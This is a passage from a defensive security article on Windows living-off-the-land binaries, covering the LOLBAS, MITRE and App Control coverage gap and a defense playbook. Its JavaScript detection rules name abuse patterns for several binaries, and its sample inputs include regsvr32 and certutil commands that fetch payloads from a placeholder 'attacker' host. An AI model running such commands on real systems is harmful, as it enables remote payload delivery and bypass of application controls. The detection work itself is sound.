&lt;td&gt;Non-AMSI host (older COM scriptlet, Lua) bypasses&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;LOLBAS catalog&lt;/td&gt;
&lt;td&gt;Reference&lt;/td&gt;
&lt;td&gt;207 binaries&lt;/td&gt;
&lt;td&gt;Community editorial cost&lt;/td&gt;
&lt;td&gt;Out-of-catalog LOLBin missed&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ML LOTL&lt;/td&gt;
&lt;td&gt;Runtime&lt;/td&gt;
&lt;td&gt;Generalizes beyond catalog&lt;/td&gt;
&lt;td&gt;Retraining cost&lt;/td&gt;
&lt;td&gt;False-positive flood; adversarial drift&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Driver blocklist&lt;/td&gt;
&lt;td&gt;Load (kernel)&lt;/td&gt;
&lt;td&gt;Sibling class (drivers, not binaries)&lt;/td&gt;
&lt;td&gt;Microsoft and community curation&lt;/td&gt;
&lt;td&gt;Vulnerable driver loads pre-blocklist&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;code&gt;powershell.exe&lt;/code&gt; is conspicuously absent from the App Control Recommended Block Rules deny list, even though it is the most-abused script host in the catalog. The reason is that Microsoft shipped a different answer for PowerShell specifically: Constrained Language Mode, AMSI script-content inspection, script-block logging (Event ID 4104), and module logging (Event ID 4103). For PowerShell the response is &lt;em&gt;instrument deeply, do not deny&lt;/em&gt;; for the rest of the catalog the response is &lt;em&gt;deny when feasible&lt;/em&gt;. There is no published Microsoft criterion explaining when each strategy applies.&lt;/p&gt;
&lt;p&gt;Layer 6 -- the catalog as data structure -- is the layer most defenders underuse. The YAML is parsable, the function taxonomy is closed, the MITRE ATT&amp;amp;CK IDs are stable. A SOC can compile the catalog into a command-line classifier in a few dozen lines:&lt;/p&gt;
&lt;p&gt;{`
// A minimal classifier that takes a candidate Windows command line and
// returns the LOLBAS function category it appears to match. Real SOC
// content compiles the YAML at build time and emits a rule per entry.&lt;/p&gt;
&lt;p&gt;const PATTERNS = [
  { binary: &apos;regsvr32&apos;, re: /regsvr32(\.exe)?.+\/i:https?:/i,  cat: &apos;Execute (AWL Bypass)&apos; },
  { binary: &apos;rundll32&apos;, re: /rundll32(\.exe)?\s+.+\.dll,/i,     cat: &apos;Execute&apos; },
  { binary: &apos;mshta&apos;,    re: /mshta(\.exe)?\s+(https?:|vbscript:|javascript:)/i, cat: &apos;Execute&apos; },
  { binary: &apos;certutil&apos;, re: /certutil(\.exe)?.+(-urlcache|-decode)/i, cat: &apos;Download / Decode&apos; },
  { binary: &apos;bitsadmin&apos;,re: /bitsadmin(\.exe)?.+\/transfer/i,    cat: &apos;Download&apos; },
  { binary: &apos;msbuild&apos;,  re: /msbuild(\.exe)?\s+.+\.csproj|\.xml/i, cat: &apos;Compile&apos; },
  { binary: &apos;installutil&apos;, re: /installutil(\.exe)?\s+\/u\s+/i, cat: &apos;Execute&apos; },
  { binary: &apos;wfc&apos;,      re: /(microsoft\.workflow\.compiler|wfc)(\.exe)?/i, cat: &apos;Compile&apos; }
];&lt;/p&gt;
&lt;p&gt;function classify(cmd) {
  for (const p of PATTERNS) {
    if (p.re.test(cmd)) return { binary: p.binary, category: p.cat };
  }
  return null;
}&lt;/p&gt;
&lt;p&gt;const samples = [
  &apos;regsvr32 /s /n /u /i:http\u003a//attacker/x.sct scrobj.dll&apos;,
  &apos;certutil -urlcache -split -f http\u003a//attacker/x.exe c:\\users\\x.exe&apos;,
  &apos;msbuild.exe project.csproj /t:Build&apos;,
  &apos;wfc.exe rules.xoml config.txt&apos;
];
for (const s of samples) console.log(s, &apos;-&amp;gt;&apos;, classify(s));
`}&lt;/p&gt;
&lt;p&gt;Eight layers, none of which covers all 207 catalog entries. Why is the coverage gap so persistent? The next section compares the three competing taxonomies that have spent the last decade enumerating the class and shows what they agree on and where they diverge.&lt;/p&gt;
&lt;h2&gt;8. Three Taxonomies, Three Counts&lt;/h2&gt;
&lt;p&gt;Three groups have spent the last decade enumerating the LOLBin class from three different angles, and they disagree on the count. The disagreement is informative.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;LOLBAS&lt;/strong&gt; is the community-curated, behaviorally annotated, MITRE-mapped, full binary enumeration. The count as of May 2026 is 207 binaries plus 27 libraries and scripts, totaling 234 entries [@lolbas-github]. Every entry has a YAML file, a function category, an ATT&amp;amp;CK technique ID, a primary-source acknowledgement, and detection guidance. The catalog is exhaustive by design: the editorial criteria admit any Microsoft-signed binary with unexpected attacker-useful functionality.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt; organizes the same behaviors as techniques rather than binaries. The relevant nodes are T1218 (&lt;em&gt;System Binary Proxy Execution&lt;/em&gt;, with sub-techniques for Regsvr32, Rundll32, Mshta, InstallUtil, and others) [@attack-t1218]; T1216 (&lt;em&gt;System Script Proxy Execution&lt;/em&gt;) [@attack-t1216]; T1127 (&lt;em&gt;Trusted Developer Utilities Proxy Execution&lt;/em&gt;) [@attack-t1127]; T1197 (&lt;em&gt;BITS Jobs&lt;/em&gt;) [@attack-t1197]; T1140 (&lt;em&gt;Deobfuscate/Decode Files or Information&lt;/em&gt;); and T1105 (&lt;em&gt;Ingress Tool Transfer&lt;/em&gt;). The framework has fewer canonical entries than LOLBAS but richer threat-intelligence linkage: adversary groups, observed campaigns, and detection rules cluster around each technique. The MITRE pages cite LOLBAS as the primary source for binary-level abuse detail.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Microsoft&apos;s App Control Recommended Block Rules&lt;/strong&gt; denies roughly 40 binaries [@ms-bypass-rules]. That is the intersection Microsoft will commit to denying by default in a fully-managed App Control policy. The list is version-pinned, signed, and shipped as XML for administrators to merge into their base policies. Entries include &lt;code&gt;mshta.exe&lt;/code&gt;, &lt;code&gt;Microsoft.Workflow.Compiler.exe&lt;/code&gt;, &lt;code&gt;installutil.exe&lt;/code&gt;, conditionally &lt;code&gt;msbuild.exe&lt;/code&gt;, and the older &lt;code&gt;system.management.automation.dll&lt;/code&gt; versions that allowed Constrained Language Mode bypass.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Dimension&lt;/th&gt;
&lt;th&gt;LOLBAS&lt;/th&gt;
&lt;th&gt;MITRE ATT&amp;amp;CK&lt;/th&gt;
&lt;th&gt;App Control Block Rules&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;What counts as an entry&lt;/td&gt;
&lt;td&gt;Per-binary YAML file&lt;/td&gt;
&lt;td&gt;Per-technique node&lt;/td&gt;
&lt;td&gt;Per-binary deny rule&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Count (May 2026)&lt;/td&gt;
&lt;td&gt;234 (207 binaries + 27 libs/scripts)&lt;/td&gt;
&lt;td&gt;~6 top-level techniques, ~12 LOLBin sub-techniques&lt;/td&gt;
&lt;td&gt;~40 binaries&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Update mechanism&lt;/td&gt;
&lt;td&gt;GitHub pull request, community editorial board&lt;/td&gt;
&lt;td&gt;MITRE editorial cycle (quarterly)&lt;/td&gt;
&lt;td&gt;Microsoft Learn page revision&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Enforcement?&lt;/td&gt;
&lt;td&gt;None -- reference only&lt;/td&gt;
&lt;td&gt;None -- reference and CTI&lt;/td&gt;
&lt;td&gt;Yes -- kernel-mode App Control deny&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Primary audience&lt;/td&gt;
&lt;td&gt;Detection engineers, red teams&lt;/td&gt;
&lt;td&gt;Threat intel analysts, CISO reporting&lt;/td&gt;
&lt;td&gt;Enterprise App Control administrators&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;

flowchart TB
    subgraph LOLBAS[&quot;LOLBAS: 207 binaries&quot;]
        L1[&quot;~40 covered by Block Rules&quot;]
        L2[&quot;~167 binaries not denied by default&quot;]
    end
    subgraph MITRE[&quot;MITRE ATT&amp;amp;CK: ~12 LOLBin sub-techniques&quot;]
        M1[&quot;Cites LOLBAS as primary source&quot;]
    end
    subgraph Block[&quot;App Control Block Rules: ~40 binaries&quot;]
        B1[&quot;Subset of LOLBAS&quot;]
    end
    L1 -.- B1
    L2 -. &quot;the gap&quot; .-&amp;gt; Gap[&quot;167-binary residual&quot;]
    MITRE -.- LOLBAS
&lt;p&gt;The discrepancy is the load-bearing observation of this article. &lt;em&gt;207 known&lt;/em&gt; versus &lt;em&gt;~40 denied&lt;/em&gt;. The 167-binary residual is the gap between &lt;em&gt;what the community has proven possible&lt;/em&gt; and &lt;em&gt;what Microsoft will deny by default&lt;/em&gt;. The residual is not a curation backlog. Microsoft maintains the deny list; researchers submit candidates; the criterion for inclusion is operational impact, not novelty. Binaries that would break Windows administration if denied are excluded by design. That is why &lt;code&gt;regsvr32.exe&lt;/code&gt;, &lt;code&gt;rundll32.exe&lt;/code&gt;, &lt;code&gt;certutil.exe&lt;/code&gt;, and &lt;code&gt;bitsadmin.exe&lt;/code&gt; are all in LOLBAS, all in MITRE ATT&amp;amp;CK, and none of them denied by default.&lt;/p&gt;
&lt;p&gt;Jimmy Bayne -- one of the LOLBAS co-maintainers -- runs a parallel community list at &lt;code&gt;bohops/UltimateWDACBypassList&lt;/code&gt; [@bohops-wdac] that explicitly tracks the &lt;em&gt;superset&lt;/em&gt; of binaries that bypass WDAC, including entries that may not yet have made it into the main LOLBAS catalog. Oddvar Moe&apos;s pre-LOLBAS &lt;code&gt;UltimateAppLockerByPassList&lt;/code&gt; [@api0cradle-applocker] performs the same role for AppLocker-era bypasses. Together, the two community lists are the closest available proxy for the &lt;em&gt;real&lt;/em&gt; upper bound on LOLBin candidates.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; LOLBAS enumerates 207 Microsoft-signed binaries with attacker-useful primitives. The App Control Recommended Block Rules deny roughly 40 of them by default. The 167-binary residual is the central empirical finding of the LOLBin literature: the binaries Microsoft will not deny are the binaries Windows system administration depends on.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;If the gap were random, Microsoft could close it over time. But it is not random. The binaries Microsoft &lt;em&gt;will not&lt;/em&gt; deny are precisely the binaries Windows system administration depends on: the COM registration utility, the DLL loader, the certificate installer, the BITS download helper. The pattern is too clean to be accidental. That is not a coverage problem. That is an architectural problem. Section 9 explains why.&lt;/p&gt;
&lt;h2&gt;9. The Architectural Argument: Why LOLBins Cannot Be Eliminated&lt;/h2&gt;
&lt;p&gt;Here is the thesis. The LOLBin class is not a defect to be fixed. It is a &lt;em&gt;property&lt;/em&gt; of a thirty-year-old design decision that the entire Windows administration model now depends on.&lt;/p&gt;
&lt;p&gt;The argument has four steps, and each step is empirically grounded in something this article has already shown.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 1.&lt;/strong&gt; Windows ships tens of thousands of Microsoft-signed binaries across SKUs. The default AppLocker rule template admits every executable under &lt;code&gt;%windir%&lt;/code&gt; or &lt;code&gt;%programfiles%&lt;/code&gt; via three path-based default rules (executables, scripts, and Windows Installer files) [@ms-applocker-default-rules], and the canonical managed deployment adds a publisher rule that trusts the Microsoft signer chain; the default App Control configuration trusts the same Microsoft signer certificate chain. The first two control planes treat the entire signed-Microsoft binary set as admissible.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 2.&lt;/strong&gt; A LOLBin is &lt;em&gt;any&lt;/em&gt; signed binary that exposes a &quot;load and execute attacker-controlled payload&quot; surface. That surface includes loading a script, loading a DLL, loading a XAML or XOML file, running an inline MSBuild task, running a COM scriptlet, running an HTA, running a WSH job, decoding Base64, fetching a URL into the BITS queue, or invoking a &lt;code&gt;[RunInstaller(true)]&lt;/code&gt; class. Each primitive sits behind a documented switch or file format. None of them is a vulnerability in the buffer-overflow sense.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 3.&lt;/strong&gt; Every one of those primitives is required by some legitimate administrative tooling. Microsoft cannot remove &lt;code&gt;Microsoft.Workflow.Compiler.exe&lt;/code&gt; without breaking the .NET Workflow Foundation runtime that the binary services. It cannot remove &lt;code&gt;msbuild.exe&lt;/code&gt; without breaking the developer toolchain. It cannot remove &lt;code&gt;regsvr32.exe&lt;/code&gt; without breaking COM registration. It cannot remove &lt;code&gt;bitsadmin.exe&lt;/code&gt; without breaking corporate update servers that depend on the BITS channel. It cannot remove &lt;code&gt;certutil.exe&lt;/code&gt; without breaking certificate-installation workflows that ship in every Active Directory deployment guide.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 4.&lt;/strong&gt; Therefore the only available options are (a) revoke individual binaries from the default trust path via the App Control Recommended Block Rules deny list; (b) layer behavioral blocks on top via ASR, SAC, EDR, and AMSI; or (c) rebuild the Windows system-administration model. Microsoft has chosen (a) plus (b). Option (c) is out of scope for backward-compatibility reasons.&lt;/p&gt;

flowchart TD
    Problem[&quot;Signed binary with load-and-execute primitive,&lt;br /&gt;abused with attacker arguments&quot;]
    Problem --&amp;gt; A[&quot;Option A: Revoke from default trust path&quot;]
    Problem --&amp;gt; B[&quot;Option B: Layer behavioral blocks&quot;]
    Problem --&amp;gt; C[&quot;Option C: Rebuild system-administration model&quot;]
    A --&amp;gt; A1[&quot;App Control Recommended Block Rules (~40 binaries)&quot;]
    A --&amp;gt; A2[&quot;Microsoft Recommended Driver Block Rules&quot;]
    B --&amp;gt; B1[&quot;ASR, Smart App Control, EDR, AMSI, Constrained Language Mode&quot;]
    C --&amp;gt; C1[&quot;Not shipping. Would break Windows administration.&quot;]
    style C stroke:#888,stroke-dasharray: 5 5
    style C1 stroke:#888,stroke-dasharray: 5 5
&lt;p&gt;The strongest evidence that Microsoft itself accepts this framing is the &lt;code&gt;msbuild.exe&lt;/code&gt; deny-list entry quoted in Section 5 -- a &lt;em&gt;context-dependent&lt;/em&gt; rule that denies &lt;code&gt;msbuild.exe&lt;/code&gt; unless the endpoint is a developer reference system [@ms-bypass-rules]. That single Microsoft sentence is the architectural argument in one paragraph: Microsoft is admitting, in writing, that the deny list is not absolute. Whether &lt;code&gt;msbuild.exe&lt;/code&gt; is a LOLBin depends on what the machine is used for. There is no possible &lt;em&gt;universal&lt;/em&gt; deny rule for &lt;code&gt;msbuild.exe&lt;/code&gt; because there is no universal answer to &lt;em&gt;do you build .NET projects on this machine?&lt;/em&gt;. The deny list can only ever encode the policy for the use case the administrator has in mind.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; The LOLBin problem is not a defect to be fixed. It is a property of a thirty-year-old design decision that the entire Windows administration model now depends on.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;A theoretically clean fix exists and is worth naming. It would attach a &lt;em&gt;behavioral capability description&lt;/em&gt; to each Authenticode-signed binary at sign time -- something like &lt;em&gt;this binary may load and execute COM scriptlets from URLs&lt;/em&gt;, or &lt;em&gt;this binary may compile and run unsigned C# from disk&lt;/em&gt;. App Control policy would then enforce on the &lt;em&gt;capability set&lt;/em&gt; rather than the publisher identity. A LOLBin would be any binary whose capability set, intersected with the administrator&apos;s policy, exceeded the policy&apos;s high-water mark.&lt;/p&gt;

A capability-extended Authenticode -- in which each signed binary&apos;s metadata declared the categories of behavior it could perform, and App Control policy could deny by capability rather than by name -- would close the structural gap. It is the design that flows directly from the analysis in Section 3. It is also not on Microsoft&apos;s public roadmap as of Ignite 2024. The reason is not technical. The reason is that every existing signed Microsoft binary would have to be re-signed, every existing third-party signed binary would have to be re-classified, and every administrator would have to learn a new policy vocabulary. The cost is paid by everyone at once; the benefit accrues to defenders only as adoption approaches one.
&lt;p&gt;A further theoretical observation is worth recording. The decision problem behind LOLBin enforcement -- &lt;em&gt;does this signed binary, invoked with these arguments, execute attacker-controlled code?&lt;/em&gt; -- is Rice-class undecidable in the limit. By Rice&apos;s theorem [@rice-1953], any non-trivial semantic property of arbitrary programs is undecidable, which means no static analysis can perfectly classify every possible invocation of every possible signed binary. In practice the problem is also backward-compatibility-bounded: even where decidable approximations exist, Microsoft cannot apply them to existing binaries without re-signing or breaking deployments.&lt;/p&gt;
&lt;p&gt;The detection side has a measurable upper bound that the enforcement side does not. The Trizna 2024 result -- a 90 percent detection improvement at a false-positive rate of $10^{-5}$ on enterprise-scale LOTL command-line evaluation, with reverse shells as the headline sub-class [@arxiv-trizna] -- is the closest published quantitative result on what ML-driven command-line classification can achieve. There is no equivalent enforcement-side result. The asymmetry is not accidental: detection can be probabilistic, but enforcement at the loader must be deterministic.&lt;/p&gt;
&lt;p&gt;If the class cannot be eliminated, the next honest question is: what &lt;em&gt;cannot&lt;/em&gt; be fixed even in principle, and what work is still open? That is the next section.&lt;/p&gt;
&lt;h2&gt;10. Eight Open Problems in 2026&lt;/h2&gt;
&lt;p&gt;Eight problems remain genuinely open as of May 2026. None is fixable with the controls Microsoft currently ships, and each one has direct operational consequences a SOC must plan around.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Problem&lt;/th&gt;
&lt;th&gt;Why it matters&lt;/th&gt;
&lt;th&gt;What has been tried&lt;/th&gt;
&lt;th&gt;Why it isn&apos;t fixed&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Block-list latency&lt;/td&gt;
&lt;td&gt;Disclosure-to-deny lag is months to years&lt;/td&gt;
&lt;td&gt;Periodic Recommended Block Rules updates [@ms-bypass-rules]&lt;/td&gt;
&lt;td&gt;Microsoft does not publish a SLA; no quantitative lag study exists&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Version-pinned bypass via older signed copies&lt;/td&gt;
&lt;td&gt;Attacker drops a 2017-vintage signed &lt;code&gt;wfc.exe&lt;/code&gt; from an archive; deny list misses it&lt;/td&gt;
&lt;td&gt;Hash-revocation rules per binary&lt;/td&gt;
&lt;td&gt;Asymptotic completeness of the hash list is unattainable in practice&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Smart App Control silent disable&lt;/td&gt;
&lt;td&gt;A protected device becomes unprotected with no admin signal&lt;/td&gt;
&lt;td&gt;Microsoft documents the behavior; in-place re-enable shipped via a recent Windows cumulative update [@ms-sac-support]&lt;/td&gt;
&lt;td&gt;Silent disable itself remains by design&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;No capability-extended Authenticode&lt;/td&gt;
&lt;td&gt;Publisher trust has no first-class representation of behavior&lt;/td&gt;
&lt;td&gt;Discussed in academic and red-team writing; not on Microsoft roadmap&lt;/td&gt;
&lt;td&gt;See Section 9: would require re-signing the world&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AMSI gaps in non-AMSI script hosts&lt;/td&gt;
&lt;td&gt;Native COM scriptlets, older .NET, Lua, Node.js, AutoHotkey FFI bypass AMSI&lt;/td&gt;
&lt;td&gt;Microsoft instrumented PowerShell, JScript, VBScript&lt;/td&gt;
&lt;td&gt;Third-party script hosts opt in or do not&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Detection-engineering economics&lt;/td&gt;
&lt;td&gt;Per-LOLBin rule authoring scales linearly with catalog growth&lt;/td&gt;
&lt;td&gt;Community projects (SwiftOnSecurity, sysmon-modular), Splunk Research [@splunk-detection]&lt;/td&gt;
&lt;td&gt;LOLBAS adds entries faster than rules can be generalized&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Coverage gap LOLBAS vs MITRE vs Block Rules&lt;/td&gt;
&lt;td&gt;No published mapping reconciles all three&lt;/td&gt;
&lt;td&gt;Manual cross-references in vendor documentation&lt;/td&gt;
&lt;td&gt;Each project has different editorial scope&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;The PowerShell special case&lt;/td&gt;
&lt;td&gt;&quot;Instrument deeply&quot; for one host, &quot;deny&quot; for the others&lt;/td&gt;
&lt;td&gt;AMSI + CLM + script-block logging&lt;/td&gt;
&lt;td&gt;No published Microsoft criterion for when each applies&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The empirical anchor for why this matters is published. In its Q3 2025 TTP Briefing, Cybereason reported the share of investigations involving LOLBins:&lt;/p&gt;

We observed living-off-the-land binaries (LOLBINs) usage in 17% of investigations in Q3, up from 13% in H1 2025. -- Cybereason TTP Briefing Q3 2025 [@cybereason-q3-2025]
&lt;p&gt;A four-percentage-point quarter-over-quarter increase is not a noise-level move. It is the visible attacker-economics response to the SOTA: as enforcement layers improve at detecting unsigned third-party tooling, attackers shift further into the trust-by-signature space. The catalog grows because the incentive to find new LOLBins is growing.&lt;/p&gt;
&lt;p&gt;Two of the eight problems deserve a closer look. Smart App Control&apos;s silent-disable behavior is the most under-documented operational failure mode in the entire 2026 SOTA. The documented disable trigger is, in paraphrase, that SAC turns off when Microsoft&apos;s cloud service cannot make a confident prediction about the user&apos;s typical app usage [@ms-sac-overview]. The user-facing consequence is the same regardless of the exact wording: a Windows 11 endpoint that booted protected by SAC silently transitions to a state in which SAC does nothing. A recent Windows cumulative update added an in-place re-enable path that improved on the original wipe-and-reinstall requirement (see the Callout below), but it does not surface a disable event to administrators.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; SAC disables itself silently when it cannot make a high-confidence safety prediction. The disabled state used to be one-way; a recent Windows cumulative update added a re-enable path that no longer needs a clean install [@ms-sac-support]. But the disable itself still surfaces no admin signal. Plan defenses as if SAC is best-effort, not load-bearing.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The other under-discussed problem is the PowerShell special case. PowerShell is the most-abused script host in Windows by a wide margin, and yet &lt;code&gt;powershell.exe&lt;/code&gt; is not on the App Control deny list and never has been. The reason is that Microsoft shipped a different answer specifically for PowerShell: Constrained Language Mode, AMSI script-content inspection, script-block logging (Event ID 4104), module logging (Event ID 4103), and over-the-shoulder transcription [@ms-ps-logging]. The PowerShell answer is &lt;em&gt;instrument deeply, do not deny&lt;/em&gt;. For the rest of the LOLBAS catalog the answer is &lt;em&gt;deny when feasible, detect otherwise&lt;/em&gt;. No published Microsoft criterion explains which strategy applies to a given binary; the choice is made one binary at a time inside Microsoft&apos;s security engineering organization.&lt;/p&gt;
&lt;p&gt;If the problems remain open, what can a practitioner actually do tomorrow? The playbook is the next section.&lt;/p&gt;
&lt;h2&gt;11. A 2026 LOLBin Defense Playbook&lt;/h2&gt;
&lt;p&gt;Even with the structural ceiling, a 2026 Windows shop can do a great deal. The playbook below is in rough order of operational priority: top items pay the biggest defensive dividend per hour of administrator time.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Deploy App Control for Business in &lt;em&gt;enforce&lt;/em&gt; mode with the Recommended Block Rules merged into the base policy.&lt;/strong&gt; This is the single highest-value step. Microsoft Learn publishes the deny-list XML and a step-by-step merge guide [@ms-bypass-rules]. For organizations that want a wider net than the official list, the &lt;code&gt;bohops/UltimateWDACBypassList&lt;/code&gt; community superset [@bohops-wdac] is the standard reference.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Where Smart App Control is eligible, enable it on clean-installed Windows 11 22H2+ endpoints.&lt;/strong&gt; Document the silent-disable failure mode in your incident runbook so an unexpectedly disabled SAC instance gets a ticket instead of being ignored. A recent Windows cumulative update added an in-place re-enable path inside the Windows Security app, so a disabled SAC is no longer a wipe-and-reinstall event (see Section 10) [@ms-sac-support].&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Apply the LOLBin-relevant ASR rules in block mode&lt;/strong&gt; [@ms-asr-rules-ref]: &lt;em&gt;Block all Office applications from creating child processes&lt;/em&gt; (1709+), &lt;em&gt;Block executable content from email client and webmail&lt;/em&gt; (1709+), &lt;em&gt;Block JavaScript or VBScript from launching downloaded executable content&lt;/em&gt; (1709+), &lt;em&gt;Block use of copied or impersonated system tools&lt;/em&gt; (1709+), and &lt;em&gt;Block process creations originating from PSExec and WMI commands&lt;/em&gt; (1803+). Coverage on Windows 11 24H2 is uniform.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Deploy SwiftOnSecurity&apos;s &lt;code&gt;sysmon-config&lt;/code&gt; as a baseline&lt;/strong&gt; [@swiftonsec]; consider &lt;code&gt;olafhartong/sysmon-modular&lt;/code&gt; [@olafhartong] for tiered configuration. Tune the per-LOLBin detection patterns documented on each LOLBAS entry&apos;s &lt;em&gt;Detection&lt;/em&gt; field. The Splunk Research analytic &lt;code&gt;25689101-012a-324a-94d3-08301e6c065a&lt;/code&gt; for renamed-LOLBin moves is a good starting point for SIEM rule design [@splunk-detection].&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Write detection content for the canonical eight.&lt;/strong&gt; Parent-child plus argument patterns for &lt;code&gt;regsvr32&lt;/code&gt;, &lt;code&gt;mshta&lt;/code&gt;, &lt;code&gt;certutil&lt;/code&gt;, &lt;code&gt;rundll32&lt;/code&gt;, &lt;code&gt;bitsadmin&lt;/code&gt;, &lt;code&gt;msbuild&lt;/code&gt;, &lt;code&gt;installutil&lt;/code&gt;, and &lt;code&gt;Microsoft.Workflow.Compiler.exe&lt;/code&gt; cover the bulk of real-world incidents. The Atomic Red Team test corpus for T1218.010 [@atomic-t1218] supplies ready-to-run validation payloads. Run them in audit mode against your detection content before relying on it in production.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Enable PowerShell script-block logging (Event ID 4104) and module logging (Event ID 4103).&lt;/strong&gt; Constrained Language Mode activates automatically when an App Control policy is in &lt;em&gt;enforce&lt;/em&gt; on the script file&apos;s location, so step 1 also pays for the PowerShell hardening.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Subscribe to LOLBAS GitHub releases.&lt;/strong&gt; New entries arrive every few weeks. Put the Recommended Block Rules page on the SOC&apos;s monthly review cadence so that a new XML version is integrated within one patch cycle.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Map your detections to MITRE ATT&amp;amp;CK technique IDs.&lt;/strong&gt; T1218 and its sub-techniques (.004, .005, .010, .011), T1127.001, T1216, T1197, T1140, and T1105 are the LOLBin-relevant nodes. The mapping lets the SOC coverage matrix and the LOLBAS catalog stay aligned.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;For the driver class, enable HVCI on supported hardware.&lt;/strong&gt; The Microsoft Vulnerable Driver Blocklist is enabled by default whenever HVCI, Smart App Control, or S mode is active [@ms-driver-blocklist]. Cross-reference &lt;code&gt;loldrivers.io&lt;/code&gt; [@loldrivers] for SIEM rule input.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Microsoft&apos;s own guidance is to deploy every new App Control policy in &lt;em&gt;audit&lt;/em&gt; mode for two to four weeks before flipping to &lt;em&gt;enforce&lt;/em&gt;. The audit-mode telemetry surfaces business-critical workflows that depend on otherwise-deniable binaries (the &lt;code&gt;msbuild.exe&lt;/code&gt; developer-workstation case is the canonical example). The Recommended Block Rules deployment is no exception [@ms-bypass-rules].&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;A 2026 SOC&apos;s top-of-funnel LOLBin detection combines the parent-child pattern with argument inspection from Section 1, generalized across the canonical eight:&lt;/p&gt;
&lt;p&gt;{`
// The minimal cross-binary detection logic a SOC writes for the canonical
// eight LOLBins. Each rule is a parent-child pair plus an argument regex.
// Production rules add tuning fields (user-context allow-lists, signing
// chain checks, network destination reputation), but this is the spine.&lt;/p&gt;
&lt;p&gt;const RULES = [
  { name: &apos;Squiblydoo (regsvr32)&apos;,  parent: /(cmd|powershell|wscript|cscript|wmiprvse|winword|excel|outlook)\.exe$/i, child: /regsvr32\.exe$/i, args: /\/i:https?:/i },
  { name: &apos;Mshta remote&apos;,           parent: /(cmd|powershell|outlook|winword|excel)\.exe$/i, child: /mshta\.exe$/i, args: /(https?:|javascript:|vbscript:)/i },
  { name: &apos;Certutil download&apos;,      parent: /.&lt;em&gt;/i, child: /certutil\.exe$/i, args: /-urlcache.+-f\s+https?:/i },
  { name: &apos;Bitsadmin transfer&apos;,     parent: /.&lt;/em&gt;/i, child: /bitsadmin\.exe$/i, args: /\/transfer\s+/i },
  { name: &apos;Msbuild inline&apos;,         parent: /(cmd|powershell|wscript|cscript)\.exe$/i, child: /msbuild\.exe$/i, args: /\.(csproj|xml|build)\b/i },
  { name: &apos;InstallUtil /U&apos;,         parent: /(cmd|powershell)\.exe$/i, child: /installutil\.exe$/i, args: /\/u\s+/i },
  { name: &apos;Workflow.Compiler chain&apos;,parent: /.*/i, child: /(microsoft\.workflow\.compiler|wfc)\.exe$/i, args: /.+/i },
